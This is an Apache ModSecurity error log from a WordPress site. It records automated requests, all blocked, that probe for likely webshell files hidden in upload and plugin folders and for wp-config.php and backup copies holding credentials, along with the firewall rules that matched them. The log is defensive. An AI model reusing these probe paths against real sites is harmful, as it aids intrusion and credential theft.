[Thu May 07 15:26:46.638489 2026] [:error] [pid 15631:tid 15709] [client 98.159.43.116:22227] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/simply-static/temp-files/system_core.php"] [unique_id "afw-tnvP1GkPUuuLfqUNBwAAANY"]
[Thu May 07 15:26:46.834221 2026] [:error] [pid 15629:tid 15634] [client 98.159.43.107:42607] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/st-importer/system_core.php"] [unique_id "afw-tvrIJCALdUrO43lX3QAAAAE"]
[Thu May 07 15:26:47.034670 2026] [:error] [pid 15631:tid 15691] [client 98.159.43.151:51381] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/system_core.php"] [unique_id "afw-t3vP1GkPUuuLfqUNCAAAAMQ"]
[Thu May 07 15:26:47.234207 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.122:39165] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wc-logs/system_core.php"] [unique_id "afw-t8vhwfljlt8trSqKeAAAAFY"]
[Thu May 07 15:26:47.436478 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.117:56521] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/woocommerce_uploads/system_core.php"] [unique_id "afw-t8vhwfljlt8trSqKegAAAEQ"]
[Thu May 07 15:26:47.632511 2026] [:error] [pid 15631:tid 15710] [client 98.159.43.155:62633] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wpforms/cache/system_core.php"] [unique_id "afw-t3vP1GkPUuuLfqUNDAAAANc"]
[Thu May 07 15:26:47.831369 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.132:28767] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-file-manager-pro/"] [unique_id "afw-t8vhwfljlt8trSqKfAAAAFg"]
[Thu May 07 15:26:48.031667 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.122:28383] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/db-status.php"] [unique_id "afw-uMvhwfljlt8trSqKfQAAAFc"]
[Thu May 07 15:26:48.229366 2026] [:error] [pid 15629:tid 15652] [client 98.159.43.137:40127] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/uploads/"] [unique_id "afw-uPrIJCALdUrO43lX4AAAABM"]
[Thu May 07 15:26:48.428545 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.139:25555] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/elementor/css/"] [unique_id "afw-uMvhwfljlt8trSqKfwAAAFU"]
[Thu May 07 15:26:48.625150 2026] [:error] [pid 15630:tid 15662] [client 98.159.43.135:36081] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-file-manager-pro/fm_backup/"] [unique_id "afw-uHTithRAi4821quP1QAAAII"]
[Thu May 07 15:26:48.829073 2026] [:error] [pid 15630:tid 15675] [client 98.159.43.109:20699] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/well-known/"] [unique_id "afw-uHTithRAi4821quP1gAAAI8"]
[Thu May 07 15:26:49.028920 2026] [:error] [pid 15629:tid 15639] [client 98.159.43.115:61665] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/well-known/pki-validation/"] [unique_id "afw-ufrIJCALdUrO43lX4gAAAAY"]
[Thu May 07 15:26:49.230346 2026] [:error] [pid 15630:tid 15684] [client 98.159.43.151:27007] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/system.php"] [unique_id "afw-uXTithRAi4821quP2QAAAJg"]
[Thu May 07 15:26:49.429350 2026] [:error] [pid 15631:tid 15700] [client 98.159.43.136:34501] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/panel.php"] [unique_id "afw-uXvP1GkPUuuLfqUNDgAAAM0"]
[Thu May 07 15:26:49.633380 2026] [:error] [pid 28098:tid 28117] [client 98.159.43.115:47507] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/home.php"] [unique_id "afw-ucvhwfljlt8trSqKggAAAFE"]
[Thu May 07 15:26:49.831217 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.116:38321] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp.php"] [unique_id "afw-ucvhwfljlt8trSqKgwAAAEE"]
[Thu May 07 15:26:50.029443 2026] [:error] [pid 15631:tid 15692] [client 98.159.43.130:37567] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/login.php"] [unique_id "afw-unvP1GkPUuuLfqUNEQAAAMU"]
[Thu May 07 15:26:50.229308 2026] [:error] [pid 15631:tid 15695] [client 98.159.43.117:21825] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system_core.php"] [unique_id "afw-unvP1GkPUuuLfqUNEwAAAMg"]
[Thu May 07 15:26:50.429098 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.146:60399] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/system_core.php"] [unique_id "afw-usvhwfljlt8trSqKhQAAAFM"]
[Thu May 07 15:26:50.627456 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.163:63487] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/system_core.php"] [unique_id "afw-usvhwfljlt8trSqKhwAAAFg"]
[Thu May 07 15:26:50.827771 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.108:52253] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/system_core.php"] [unique_id "afw-usvhwfljlt8trSqKiAAAAFc"]
[Thu May 07 15:26:51.024223 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.132:29529] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/oembed/system_core.php"] [unique_id "afw-u8vhwfljlt8trSqKigAAAEY"]
[Thu May 07 15:26:51.222894 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.105:48127] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/system_core.php"] [unique_id "afw-u8vhwfljlt8trSqKiwAAAEA"]
[Thu May 07 15:26:54.532872 2026] [:error] [pid 15630:tid 15671] [client 98.159.43.161:31881] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/system_core.php"] [unique_id "afw-vnTithRAi4821quP2wAAAIs"]
[Thu May 07 15:26:54.730493 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.156:46223] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/system_core.php"] [unique_id "afw-vsvhwfljlt8trSqKjgAAAEo"]
[Thu May 07 15:26:54.928549 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.162:26667] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/wp-config-backup.php"] [unique_id "afw-vsvhwfljlt8trSqKjwAAAFY"]
[Thu May 07 15:26:55.126541 2026] [:error] [pid 28098:tid 28120] [client 98.159.43.139:26863] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-config.php"] [unique_id "afw-v8vhwfljlt8trSqKkAAAAFQ"]
[Thu May 07 15:26:55.330737 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.146:25497] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/bak.php"] [unique_id "afw-v8vhwfljlt8trSqKkQAAAEQ"]
[Thu May 07 15:26:55.533432 2026] [:error] [pid 15631:tid 15689] [client 98.159.43.142:44927] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/elementor/assets/css/conditionals/system_core.php"] [unique_id "afw-v3vP1GkPUuuLfqUNFgAAAMI"]
[Thu May 07 15:26:55.733048 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.147:37607] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/system_core.php"] [unique_id "afw-v8vhwfljlt8trSqKkwAAAFU"]
[Thu May 07 15:26:55.932005 2026] [:error] [pid 15629:tid 15655] [client 98.159.43.160:58385] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wpforms-lite/assets/css/frontend/modern/system_core.php"] [unique_id "afw-v_rIJCALdUrO43lX4wAAABY"]
[Thu May 07 15:26:56.129613 2026] [:error] [pid 15631:tid 15697] [client 98.159.43.107:56589] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-content/plugins/wp-config-backup.php"] [unique_id "afw-wHvP1GkPUuuLfqUNGAAAAMo"]
[Thu May 07 15:26:56.327821 2026] [:error] [pid 15631:tid 15690] [client 98.159.43.162:45145] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-config-backup.php"] [unique_id "afw-wHvP1GkPUuuLfqUNGQAAAMM"]
[Thu May 07 15:26:56.527527 2026] [:error] [pid 15631:tid 15694] [client 98.159.43.138:45949] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/cielhpn/"] [unique_id "afw-wHvP1GkPUuuLfqUNGgAAAMc"]
[Thu May 07 15:26:56.725544 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.138:44515] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/elementor-pro/modules/loop-filter/data/endpoints/about.php"] [unique_id "afw-wMvhwfljlt8trSqKmgAAAEU"]
[Thu May 07 15:26:56.926081 2026] [:error] [pid 28098:tid 28101] [client 98.159.43.135:61497] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/forminator/library/field-autofill-providers/contracts/wp-login.php"] [unique_id "afw-wMvhwfljlt8trSqKnQAAAEE"]
[Thu May 07 15:26:57.125510 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.119:41897] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/advanced-custom-fields-pro/includes/Updater/about.php"] [unique_id "afw-wcvhwfljlt8trSqKngAAAEQ"]
[Thu May 07 15:26:57.329975 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.137:51923] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/class-wp-logo.php"] [unique_id "afw-wcvhwfljlt8trSqKoAAAAE4"]
[Thu May 07 15:26:57.530501 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.113:45277] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/test.php"] [unique_id "afw-wcvhwfljlt8trSqKogAAAEM"]
[Thu May 07 15:26:57.731932 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.147:36687] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/revslider/admin/assets/js/plugins/maintenance.php"] [unique_id "afw-wcvhwfljlt8trSqKowAAAEY"]
[Thu May 07 15:26:57.930032 2026] [:error] [pid 15629:tid 15642] [client 98.159.43.112:48559] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/wp-mail.php"] [unique_id "afw-wfrIJCALdUrO43lX6wAAAAk"]
[Thu May 07 15:26:58.127567 2026] [:error] [pid 15629:tid 15653] [client 98.159.43.147:35479] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/sitepress-multilingual-cms/classes/plugins/wp-blog-header.php"] [unique_id "afw-wvrIJCALdUrO43lX7AAAABQ"]
[Thu May 07 15:26:58.325799 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.110:26227] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/updraftplus/includes/jstree/themes/wp-activate.php"] [unique_id "afw-wsvhwfljlt8trSqKpQAAAFI"]
[Thu May 07 15:27:00.066648 2026] [:error] [pid 15630:tid 15668] [client 98.159.43.139:41591] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-file-manager/lib/themes/options.php"] [unique_id "afw-xHTithRAi4821quP4AAAAIg"]
[Thu May 07 15:27:00.268331 2026] [:error] [pid 15630:tid 15661] [client 98.159.43.155:63257] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-blog-header.php"] [unique_id "afw-xHTithRAi4821quP4gAAAIE"]
[Thu May 07 15:27:00.467231 2026] [:error] [pid 15630:tid 15673] [client 98.159.43.112:56713] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/elementor/assets/lib/pickr/themes/wp-blog-header.php"] [unique_id "afw-xHTithRAi4821quP4wAAAI0"]
[Thu May 07 15:27:00.673891 2026] [:error] [pid 15630:tid 15684] [client 98.159.43.140:53319] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/uoyaugar.php"] [unique_id "afw-xHTithRAi4821quP5QAAAJg"]
[Thu May 07 15:27:00.877985 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.111:36611] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/check-email/config.php"] [unique_id "afw-xMvhwfljlt8trSqKqwAAAEQ"]
[Thu May 07 15:27:01.079897 2026] [:error] [pid 15715:tid 15743] [client 98.159.43.134:30389] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/file-manager-advanced/config.php"] [unique_id "afw-xSY4dZsLOttMkcdfRgAAARc"]
[Thu May 07 15:27:01.280894 2026] [:error] [pid 15715:tid 15719] [client 98.159.43.130:29563] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "afw-xSY4dZsLOttMkcdfRwAAAQI"]
[Thu May 07 15:27:01.481566 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.154:35825] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/elementor/lndex.php"] [unique_id "afw-xcvhwfljlt8trSqKrAAAAEs"]
[Thu May 07 15:27:01.677046 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.113:61395] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wordpress-seo/wp-seo-trigger-table.php"] [unique_id "afw-xcvhwfljlt8trSqKrQAAAFI"]
